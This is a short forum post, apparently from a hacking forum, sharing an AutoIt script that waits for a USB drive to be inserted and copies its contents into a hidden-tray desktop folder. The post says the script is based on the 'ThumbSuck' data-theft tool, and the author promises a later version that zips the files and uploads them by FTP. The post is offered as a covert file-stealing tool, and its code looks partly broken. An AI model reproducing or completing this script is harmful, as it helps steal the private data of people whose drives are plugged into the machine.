Copy Removable 09-24-2012, 10:43 PM
#1
Next time I Will used this code for Zip file after finish this function and send on ftp all copydir
Hope Enjoy ...
Regards
Hope Enjoy ...
Regards
Code:
#NoTrayIcon
;===================================================
; Copy All Files to Dir when PenDrive is Inserted
; Autor M3
; Base on ThumbSuck
; More Fast , No Dependecies
;==================================================
Func sCopyPenDrive()
Local $sPath = @DesktopDir & "\CopyPenDrive\"
If FileExists($sPath) Then DirRemove($sPath,1)
While 1
$sVar = DriveGetDrive ("REMOVABLE")
If @error = 1 then ContinueLoop
MsgBox("","PenDrive","Start Copy",1)
DirCreate($sPath)
FileCopy ($sVar[1] , $sPath)
MsgBox("","PenDrive","End Copy",1)
Exit
WEnd
EndFunc
![[Image: 337AU3.jpg]](http://dekoderspicture.com/images/337AU3.jpg)
![[+]](https://sinister.li/images/modern/collapse_collapsed.png)

